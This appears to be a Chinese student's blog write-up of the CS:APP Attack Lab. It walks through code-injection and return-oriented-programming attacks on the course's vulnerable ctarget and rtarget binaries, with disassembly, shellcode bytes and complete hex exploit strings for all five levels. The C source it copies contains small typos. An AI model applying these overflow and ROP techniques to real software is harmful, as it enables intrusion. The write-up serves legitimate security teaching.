0%

Attack_lab

这个实验非常有意思,了解一下缓冲区溢出相关的知识就可以开始了。

​ ! ^_^ !

文件信息:

argetk中的文件包括:
README.txt:描述目录内容的文件
ctarget:易受代码注入攻击的可执行程序
rtarget:易受面向返回编程攻击的可执行程序
cookie.txt:8位十六进制代码,您将在攻击中使用它作为唯一标识符。
farm.c:目标“gadget farm”的源代码,您将使用它生成面向返回的编程攻击。
hex2raw:生成攻击字符串的实用程序。

《深入理解计算机系统》实验三Attack Lab下载和官方文档机翻_Addyz的博客-CSDN博客

看官方文档说是要以csapp3.10.3–3.10.4作为参考,这两个小节主要讲了缓冲区溢出和保护机制。

缓冲区溢出:

对抗缓冲区溢出攻击:

栈随机化:

栈的位置每次运行都有变化,因此很多地址不能确定,代码不能实现跳转。实现的方法是在程序开始时,在栈上分配一段0~n字节之间随机大小的空间。

金丝雀值(canary):

在栈的缓冲区开始的位置填充一个值,每次函数调用这个数值要和数据段中的一个不可更改的值进行比较,一旦发生缓冲区溢出,cannary值就会发生变化,从而结束程序。

限制可执行代码区域:

栈空间被设置为不可执行属性,所以不能直接在输入的字符中创建shellcode,要通过rop才能实行攻击。

实验部分1代码注入攻击:

Level1:

test 调用完getbuf,使getbuf 返回执行touch1 而不是返回test 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void test()
{
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n",val);
}

void touch1()
{
vlevel=1;
printf("Touch1!:You called touch1()\n");
exit(0);
}

对应的汇编内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop

0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff call 4017a8 <getbuf> # push IP ; jmp getbuf
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 ret
401991: 90 nop

00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>

我们只要确定存放返回地址的位置,将其覆盖成4017c0即可。可以看到调用getbuf之后,sub $0x28,%rsp,创建了0x28字节的缓冲区域,返回地址位于栈底,第一个字符距离栈底28个字节,我们只要输入一串长度为32字节的字符,前二十八个任意填充,后四个按照小端序填充touch1的地址c0 17 40 00即可。

1
2
3
4
5
6
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00

正确的姿势是将16进制数据写入flag1.txt然后使用题目中给出的16进制转字符串工具>flag01.txt,然后将flag01.txt作为参数传入。

1
./hex2raw < flag1.txt  > input1.txt

注意这里的< 和 >不是括号,而是指向,将flag1.txt传入hex,其输出结果写入input1.txt

1
./ctarget -q -i flag01.txt
  • -q选项是不连接网络 (不加此选项会报错)
  • -i 是 以文件作为输入

Level2:

test调用getbuf,并返回touch2,和level1的不同在于touch2需要参数,函数的第一个参数是存放在rdi寄存器中的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

void test()
{
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n",val);
}

void touch2(unsigned val)
{
vlevel=2;
if (val==cookie)
{
printf("Touch2!:You called touche2(0x%.8x)",val);
validate(2);
}
else
{
printf("Misfire:You called touch2(0x%.8x)\n",val);
fail(2);
}
exit(0);
}

对应的汇编内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop

0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff call 4017a8 <getbuf> # push IP ; jmp getbuf
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 ret
401991: 90 nop

00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> vlevel=2;
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> if(val==cookie)
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>

首先还是在保存返回地址的地方填充touch2的地址,接下来的难点在于如何将cookie填充到rdi中

1
cmp    0x202ce2(%rip),%edi    # if(val==cookie)

cookie的值储存在相对rip偏移0x202ce2的位置。思路: 仍然填充44个字节,最后四个字节填充我们编写的shellcode的地址,通过执行shellcode,rdi填充了cookie,并将touch2的地址pop进了栈,最后ret回到touch2。ret指令相当于pop ip,我们64位机器使用retq。

使用gdb进行调试,b getbuf 将断点设在getbuf函数,查看栈的地址,减去0x28之后,栈顶的地址是0x5561dc78。这是我们填充的数据

1
2
3
4
5
6
mov 0x59b997fa,%edi
push touch2_address
retq
xxxxxxxxxxx
xxxxxxxxxxx
return_address

有一点要注意,栈是从高地址向低地址增长,而代码是从低地址往高地址执行所以填充之后栈空间应该是这样接下来是得到相应的字节码,首先用gcc进行汇编操作得到.o后缀的目标文件,然后用odjdump进行反汇编即可。

1
2
3
0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
5: 68 ec 17 40 00 push $0x4017ec
c: c3 ret
1
2
3
4
5
6
bf fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55

成功,中间犯了一个小错误,将push $0x4017ec写成了push 0x4017ec,其中前者代表的是立即数,后者则代表的内存地址处的值。

Level3:

还是test调用完getbuf之后不返回test,而是执行touch3,touch3需要接收参数cookie,touch3中还调用了hexmatch函数,要传递两个参数。

思路: 不能直接ret到touch3中,应该像上一个挑战一样,先跳转到我们的shellcode,shellcode完成参数的传递以及ret到touch3。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

void test()
{
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n",val);
}

int hexmatch(unsigned val,char *sval)
{
char cbuf[110];
char* s=cbuf+random()%100;
sprintf(s,"%.8x",val);
return strncmp(sval,s,9)==0;
}

void touch3(char* sval)
{
vlevel=3;
if(hexmatch(cookie,sval)){
printf("Touch3!:You called touch3(\"%s\")\n,sval");
calidate(3);
}else{
printf("Misfire:You called touch3(\"%s\")\n,sval");
fail(3);
}
exit(0);
}

汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop

0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff call 4017a8 <getbuf> # push IP ; jmp getbuf
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 ret
401991: 90 nop

000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp #-128
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44 24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff call 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff call 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff call 400ca0 <strncmp@plt>
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff call 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 ret

00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx #将rdi里的参数复制到rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi #参数sval
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 call 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 call 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff call 400e40 <exit@plt>

首先调用touch3之前,要确保rdi中有指针,注意参数类型是char*而上一个挑战 void touch2(unsigned val)参数是一个无符号整型,所以这一次我们还要创建一个字符串被rdi中的指针所指。字符串是“59b997fa”,我们将字符串的ascii输入。

1
2
3
4
db "59b997fa",0
mov %sval_address ,%rdi
push %touch3_address
ret

字符串是以**’\0’**结尾的,其ascii是0,检测到0计算机就是到字符串结束了。我们只要将字符串的首地址放入寄存器rdi即可。题目描述中还提到

可以看到在调用了hexmatch之后,连续push了三次

所以临近返回地址的地方不要存放数据。

1
2
3
0:	48 c7 c7 78 dc 61 55 	mov    $0x5561dc78,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret

所以:

1
2
3
4
5
6
35 39 62 39 39 37 66 61 
00 48 c7 c7 78 dc 61 55
68 fa 18 40 00 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
81 dc 61 55

注意,最后的四字节的地址不再是栈顶的位置,因为我们的字符串是存放在栈顶的,ret到栈顶程序不会向下执行,我们要ret到mov指令的地址。81=78+9

失败了,猜测应该还是被hexmatch和strcmp压入的数据覆盖了,参考了一下,原来还可以将字符串放置在第44个字节后面,即test的栈帧中,因为我们不在返回test所以覆盖那里也没什么影响。

1
2
3
0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret
1
2
3
4
5
6
7
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00

注意不能直接跟在44字节后面,因为64位机器ret指令相当于pop八个字节,pop之后rsp+8,所以字符串要在返回地址八个字节之后.0x5561dca8=0x5561dc78+0x2c(48字节)。

成功!!!

实验部分2面向返回的编程:

这一部分难度增加,上一部分挑战栈既没有随机化也没有不可执行的内存标记。栈空间被标记为不可执行区域,所以我们不再能使用注入的shellcode。接下来的挑战要用到ROP ( Return-oriented Programming )即面向返回的编程。

ROP原理:

我们注入的内容被划分为一个个gadget,其实是一个个地址,gatcode有一个显著的特点,即最后一字节内容为c3即ret的机器码,这样一个个gatget就有ret指令连接了起来。既然栈内空间不可执行,那么这个地址要指向哪里呢?答案是程序现有的代码段,举例来说

这是一个函数,看起来没什么特别,也没有什么攻击性,但是转化为它的机器级表示

其中 48 89 c7mov %rax,rdi的机器码,我们只要在返回地址处填充0x400f18(起始地址400f15往后三个字节)即可执行mov %rax,rdi并且由ret弹出栈内的下一个地址继续操作。PDF给出了几张供我们参考攻击的表

好,接下来开搞。!!!

Level4:

这个挑战和2要达到相同的目的,即test在调用完getbuf之后返回执行touch2,执行touch2之前要往%rdi中传递参数cookie。在level2中我们直接在栈中注入了mov cookie,%rdi 的机器码,这次挑战我们只能利用现有的代码执行。

分为两步,cookie在我们注入的字符串中,要通过pop指令将cookie弹到rdi中,对应的机器码是 5f,可惜的是在给出的gadget中并没有5f,所以我们只能先将cookie弹到一个寄存器,再将这个寄存器的值复制到%rdi中

48 89 c7对应 mov %rax,%rdi,地址是0x4019a2

58 90 c3 对应 popq %rax ; nop ; ret 。地址0x4019ab。接下来就该考虑注入的顺序了。

touch2的地址:0x4017ec。cookie的值0x59b997fa

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

脑子抽了一直用上一个题目测试答案显示失败。。。

Level5:

使用ROP完成level3。这是shellcode实现的操作:

1
2
3
4
db "59b997fa",0
mov %sval_address ,%rdi
push %touch3_address
ret

首先将字符串“35 39 62 39 39 37 66 61 0a 00”入栈,然后将其首地址pop到一个寄存器,然后复制到%edi,然后调用touch3,要考虑到hexmatch和strcmp对栈的影响。由于栈随机化的原因,我们不能直接获得字符串的地址,但是可以通过movl %esp,xxx指令得到当前的栈顶地址,计算出字符串的地址。movl以寄存器作为目的时会把高四个字节设置为0.

只有一个选择 48 89 e0mov %rsp,%rax (或许89 e0),栈顶地址被放入%eax中,地址0x401a07。。。思考了良久之后,我发现无解了,因为仅靠寄存器之间的mov指令和pop指令不可能增加某个寄存器的值,所以我们放入%eax中的值不能发生变化,这显然不可能。

看了提示之后才恍然大悟,题目并没有局限在mov,movl,popq指令之间,在提供的rop指令中存在大量的lea指令,之前学习过lea指令,加载有效地址,同时它可以进行四则混合运算,在这里我们需要他的运算。

检索了全部lea相关的指令,发现只有一个能够使用(其他都是lea -0x6fa78caf(%rdi),%eax格式,即将%rdi加上一个立即数赋值给%eax)。lea (%rdi,%rsi,1),%rax的作用是rax=rdi+rsi*1,有了这条指令的帮助我们就可以变更栈中存放的地址。

只要按照这个思路,计算出X的值即可,实际操作过程中发现没有pop %rsi以及许多相关指令,最终只能用 pop %rax ; mov eax,edx ; mov edx,ecx; mov ecx,esi 这四条指令来代替。

pop %rax;ret地址:0x4019ab

mov eax,edx;ret地址:0x401a42

mov edx,ecx;ret地址:0x401a69

mov ecx,esi;ret地址:0x401a13

mov rsp,rax地址:0x401aad

mov rax,rdi地址:0x4019a2

lea (%rdi,%rsi,1),%rax地址:0x4019d6

mov rax,rdi地址:0x4019a2

通过计算,执行mov rsp,rdi的时候rsp的值是48,cookie相对它32个字节即0x20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

over,学到了很多^_^